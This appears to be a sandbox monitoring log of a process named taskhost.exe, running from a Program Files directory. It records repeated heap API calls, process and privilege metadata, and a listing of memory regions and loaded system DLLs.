[0156.844] GetProcessHeap () returned 0x300000 [0156.844] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31d580) returned 1 [0156.844] GetProcessHeap () returned 0x300000 [0156.844] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31d580) returned 0x10 [0156.844] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31d580 | out: hHeap=0x300000) returned 1 [0156.844] GetProcessHeap () returned 0x300000 [0156.844] GetProcessHeap () returned 0x300000 [0156.844] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31cd50) returned 1 [0156.844] GetProcessHeap () returned 0x300000 [0156.844] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31cd50) returned 0x20 [0156.844] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31cd50 | out: hHeap=0x300000) returned 1 [0156.844] GetProcessHeap () returned 0x300000 [0156.844] GetProcessHeap () returned 0x300000 [0156.844] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31d5a0) returned 1 [0156.844] GetProcessHeap () returned 0x300000 [0156.844] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31d5a0) returned 0x10 [0156.844] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31d5a0 | out: hHeap=0x300000) returned 1 [0156.844] GetProcessHeap () returned 0x300000 [0156.844] GetProcessHeap () returned 0x300000 [0156.844] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31cd20) returned 1 [0156.845] GetProcessHeap () returned 0x300000 [0156.845] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31cd20) returned 0x20 [0156.845] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31cd20 | out: hHeap=0x300000) returned 1 [0156.845] GetProcessHeap () returned 0x300000 [0156.845] GetProcessHeap () returned 0x300000 [0156.845] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31d5c0) returned 1 [0156.845] GetProcessHeap () returned 0x300000 [0156.845] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31d5c0) returned 0xe [0156.845] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31d5c0 | out: hHeap=0x300000) returned 1 [0156.845] GetProcessHeap () returned 0x300000 [0156.845] GetProcessHeap () returned 0x300000 [0156.845] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31ccf0) returned 1 [0156.845] GetProcessHeap () returned 0x300000 [0156.845] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31ccf0) returned 0x20 [0156.846] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31ccf0 | out: hHeap=0x300000) returned 1 [0156.846] GetProcessHeap () returned 0x300000 [0156.846] GetProcessHeap () returned 0x300000 [0156.846] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31d5e0) returned 1 [0156.846] GetProcessHeap () returned 0x300000 [0156.846] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31d5e0) returned 0x16 [0156.846] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31d5e0 | out: hHeap=0x300000) returned 1 [0156.846] GetProcessHeap () returned 0x300000 [0156.846] GetProcessHeap () returned 0x300000 [0156.846] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31ccc0) returned 1 [0156.846] GetProcessHeap () returned 0x300000 [0156.846] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31ccc0) returned 0x20 [0156.846] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31ccc0 | out: hHeap=0x300000) returned 1 [0156.846] GetProcessHeap () returned 0x300000 [0156.846] GetProcessHeap () returned 0x300000 [0156.847] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31d600) returned 1 [0156.847] GetProcessHeap () returned 0x300000 [0156.847] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31d600) returned 0x16 [0156.847] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31d600 | out: hHeap=0x300000) returned 1 [0156.847] GetProcessHeap () returned 0x300000 [0156.847] GetProcessHeap () returned 0x300000 [0156.847] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31cc90) returned 1 [0156.847] GetProcessHeap () returned 0x300000 [0156.847] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31cc90) returned 0x20 [0156.847] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31cc90 | out: hHeap=0x300000) returned 1 [0156.847] GetProcessHeap () returned 0x300000 [0156.847] GetProcessHeap () returned 0x300000 [0156.847] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x339bc0) returned 1 [0156.847] GetProcessHeap () returned 0x300000 [0156.847] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x339bc0) returned 0x82 [0156.848] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x339bc0 | out: hHeap=0x300000) returned 1 [0156.848] GetProcessHeap () returned 0x300000 [0156.848] GetProcessHeap () returned 0x300000 [0156.848] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31cc60) returned 1 [0156.848] GetProcessHeap () returned 0x300000 [0156.848] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31cc60) returned 0x20 [0156.848] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31cc60 | out: hHeap=0x300000) returned 1 [0156.848] GetProcessHeap () returned 0x300000 [0156.848] GetProcessHeap () returned 0x300000 [0156.848] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31d640) returned 1 [0156.848] GetProcessHeap () returned 0x300000 [0156.848] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31d640) returned 0xe [0156.848] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31d640 | out: hHeap=0x300000) returned 1 [0156.848] GetProcessHeap () returned 0x300000 [0156.848] GetProcessHeap () returned 0x300000 [0156.848] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31cc30) returned 1 [0156.848] GetProcessHeap () returned 0x300000 [0156.848] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31cc30) returned 0x20 [0156.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31cc30 | out: hHeap=0x300000) returned 1 [0156.849] GetProcessHeap () returned 0x300000 [0156.849] GetProcessHeap () returned 0x300000 [0156.849] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31b9f0) returned 1 [0156.849] GetProcessHeap () returned 0x300000 [0156.849] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31b9f0) returned 0x18 [0156.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31b9f0 | out: hHeap=0x300000) returned 1 [0156.849] GetProcessHeap () returned 0x300000 [0156.849] GetProcessHeap () returned 0x300000 [0156.849] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x3159f0) returned 1 [0156.849] GetProcessHeap () returned 0x300000 [0156.849] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x3159f0) returned 0x20 [0156.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3159f0 | out: hHeap=0x300000) returned 1 [0156.849] GetProcessHeap () returned 0x300000 [0156.850] GetProcessHeap () returned 0x300000 [0156.850] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x315a20) returned 1 [0156.850] GetProcessHeap () returned 0x300000 [0156.850] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x315a20) returned 0x20 [0156.850] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x315a20 | out: hHeap=0x300000) returned 1 [0156.850] GetProcessHeap () returned 0x300000 [0156.850] GetProcessHeap () returned 0x300000 [0156.850] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x315a50) returned 1 [0156.850] GetProcessHeap () returned 0x300000 [0156.850] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x315a50) returned 0x20 [0156.851] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x315a50 | out: hHeap=0x300000) returned 1 [0156.851] GetProcessHeap () returned 0x300000 [0156.851] GetProcessHeap () returned 0x300000 [0156.851] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x315a80) returned 1 [0156.851] GetProcessHeap () returned 0x300000 [0156.851] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x315a80) returned 0x20 [0156.851] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x315a80 | out: hHeap=0x300000) returned 1 [0156.851] GetProcessHeap () returned 0x300000 [0156.851] GetProcessHeap () returned 0x300000 [0156.851] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31ba10) returned 1 [0156.851] GetProcessHeap () returned 0x300000 [0156.852] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31ba10) returned 0x18 [0156.852] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31ba10 | out: hHeap=0x300000) returned 1 [0156.852] GetProcessHeap () returned 0x300000 [0156.852] GetProcessHeap () returned 0x300000 [0156.852] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x315ab0) returned 1 [0156.852] GetProcessHeap () returned 0x300000 [0156.852] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x315ab0) returned 0x20 [0156.852] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x315ab0 | out: hHeap=0x300000) returned 1 [0156.852] GetProcessHeap () returned 0x300000 [0156.852] GetProcessHeap () returned 0x300000 [0156.852] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x315b40) returned 1 [0156.852] GetProcessHeap () returned 0x300000 [0156.852] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x315b40) returned 0x20 [0156.853] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x315b40 | out: hHeap=0x300000) returned 1 [0156.853] GetProcessHeap () returned 0x300000 [0156.853] GetProcessHeap () returned 0x300000 [0156.853] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x315ba0) returned 1 [0156.853] GetProcessHeap () returned 0x300000 [0156.853] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x315ba0) returned 0x20 [0156.853] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x315ba0 | out: hHeap=0x300000) returned 1 [0156.853] GetProcessHeap () returned 0x300000 [0156.853] GetProcessHeap () returned 0x300000 [0156.853] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x315c00) returned 1 [0156.853] GetProcessHeap () returned 0x300000 [0156.853] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x315c00) returned 0x20 [0156.854] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x315c00 | out: hHeap=0x300000) returned 1 [0156.854] GetProcessHeap () returned 0x300000 [0156.854] GetProcessHeap () returned 0x300000 [0156.854] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x315c30) returned 1 [0156.854] GetProcessHeap () returned 0x300000 [0156.854] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x315c30) returned 0x20 [0156.854] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x315c30 | out: hHeap=0x300000) returned 1 [0156.854] GetProcessHeap () returned 0x300000 [0156.854] GetProcessHeap () returned 0x300000 [0156.854] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31ba30) returned 1 [0156.854] GetProcessHeap () returned 0x300000 [0156.854] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31ba30) returned 0x18 [0156.855] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31ba30 | out: hHeap=0x300000) returned 1 [0156.855] GetProcessHeap () returned 0x300000 [0156.855] GetProcessHeap () returned 0x300000 [0156.855] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x315b70) returned 1 [0156.855] GetProcessHeap () returned 0x300000 [0156.855] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x315b70) returned 0x20 [0156.855] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x315b70 | out: hHeap=0x300000) returned 1 [0156.855] GetProcessHeap () returned 0x300000 [0156.855] GetProcessHeap () returned 0x300000 [0156.855] HeapValidate (hHeap=0x300000, dwFlags=0x0, lpMem=0x31b9b0) returned 1 [0156.855] GetProcessHeap () returned 0x300000 [0156.855] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x31b9b0) returned 0x18 [0156.855] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31b9b0 | out: hHeap=0x300000) returned 1 [0156.855] exit (_Code=0) Thread: id = 196 os_tid = 0xd18 Process: id = "52" image_name = "taskhost.exe" filename = "c:\\program files\\reference assemblies\\taskhost.exe" page_root = "0x41b85000" os_pid = "0xd10" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "25" os_parent_pid = "0xf78" cmd_line = "\"C:\\Program Files\\Reference Assemblies\\taskhost.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4688 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4689 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4690 start_va = 0x80000 end_va = 0x17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 4691 start_va = 0xaa0000 end_va = 0xb75fff monitored = 1 entry_point = 0xb6d67e region_type = mapped_file name = "taskhost.exe" filename = "\\Program Files\\Reference Assemblies\\taskhost.exe" (normalized: "c:\\program files\\reference assemblies\\taskhost.exe") Region: id = 4692 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4693 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4694 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4695 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4696 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 4697 start_va = 0x7fffffd8000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 4698 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 4699 start_va = 0x180000 end_va = 0x31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 4700 start_va = 0x7fef9de0000 end_va = 0x7fef9e4efff monitored = 1 entry_point = 0x7fef9de1134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 4701 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4702 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4703 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4704 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4705 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4706 start_va = 0x180000 end_va = 0x1e6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4707 start_va = 0x1f0000 end_va = 0x28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 4708 start_va = 0x2a0000 end_va = 0x31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 4709 start_va = 0x320000 end_va = 0x41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 5161 start_va = 0x1f0000 end_va = 0x27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 5162 start_va = 0x280000 end_va = 0x28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 5163 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 5164 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 5165 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 5166 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 5167 start_va = 0x420000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 5168 start_va = 0x420000 end_va = 0x51ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 5169 start_va = 0x530000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 5170 start_va = 0x7fef8bb0000 end_va = 0x7fef8c58fff monitored = 1 entry_point = 0x7fef8bb1010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 5171 start_va = 0x7fef9dd0000 end_va = 0x7fef9dd2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 5372 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 5373 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 5374 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 5375 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 5376 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 5377 start_va = 0x40000 end_va = 0x68fff monitored = 0 entry_point = 0x41010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5378 start_va = 0x540000 end_va = 0x6c7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 5379 start_va = 0x40000 end_va = 0x68fff monitored = 0 entry_point = 0x41010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5380 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5381 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 5382 start_va = 0x6d0000 end_va = 0x850fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 5383 start_va = 0xb80000 end_va = 0x1f7ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b80000" filename = "" Region: id = 5384 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 5385 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000040000" filename = "" Region: id = 5386 start_va = 0x860000 end_va = 0x92ffff monitored = 1 entry_point = 0x92d67e region_type = mapped_file name = "taskhost.exe" filename = "\\Program Files\\Reference Assemblies\\taskhost.exe" (normalized: "c:\\program files\\reference assemblies\\taskhost.exe") Region: id = 5387 start_va = 0x860000 end_va = 0x92ffff monitored = 1 entry_point = 0x92d67e region_type = mapped_file name = "taskhost.exe" filename = "\\Program Files\\Reference Assemblies\\taskhost.exe" (normalized: "c:\\program files\\reference assemblies\\taskhost.exe") Region: id = 5388 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 5389 start_va = 0x7feefe70000 end_va = 0x7fef0936fff monitored = 1 entry_point = 0x7feefe763a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5390 start_va = 0x7feefe70000 end_va = 0x7fef0936fff monitored = 1 entry_point = 0x7feefe763a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5391 start_va = 0x7feefe70000 end_va = 0x7fef0936fff monitored = 1 entry_point = 0x7feefe763a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5501 start_va = 0x7fef9f10000 end_va = 0x7fef9f25fff monitored = 0 entry_point = 0x7fef9f1c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 5502 start_va = 0x7fef9e50000 end_va = 0x7fef9f0cfff monitored = 0 entry_point = 0x7fef9ed7db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 5503 start_va = 0x50000 end_va = 0x50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 5504 start_va = 0x60000 end_va = 0x6ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 5631 start_va = 0x70000 end_va = 0x7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 5632 start_va = 0x7fe90810000 end_va = 0x7fe9081ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe90810000" filename = "" Region: id = 5633 start_va = 0x7fe90820000 end_va = 0x7fe9082ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe90820000" filename = "" Region: id = 5634 start_va = 0x7fe90830000 end_va = 0x7fe908bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe90830000" filename = "" Region: id = 5635 start_va = 0x7fe908c0000 end_va = 0x7fe9092ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe908c0000" filename = "" Region: id = 5636 start_va = 0x1f0000 end_va = 0x1f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 5637 start_va = 0x200000 end_va = 0x27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 5638 start_va = 0x290000 end_va = 0x290fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 5639 start_va = 0x860000 end_va = 0x9affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000860000" filename = "" Region: id = 5640 start_va = 0x1f80000 end_va = 0x213ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f80000" filename = "" Region: id = 5641 start_va = 0x2240000 end_va = 0x233ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 5642 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 5643 start_va = 0x520000 end_va = 0x52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 5644 start_va = 0x2340000 end_va = 0x1a33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002340000" filename = "" Region: id = 5741 start_va = 0x1a340000 end_va = 0x1a6bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a340000" filename = "" Region: id = 5742 start_va = 0x1f80000 end_va = 0x2080fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f80000" filename = "" Region: id = 5743 start_va = 0x20c0000 end_va = 0x213ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020c0000" filename = "" Region: id = 5744 start_va = 0x1a700000 end_va = 0x1a7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a700000" filename = "" Region: id = 5745 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 5806 start_va = 0x2140000 end_va = 0x223ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002140000" filename = "" Region: id = 5807 start_va = 0x1a820000 end_va = 0x1a91ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a820000" filename = "" Region: id = 5808 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 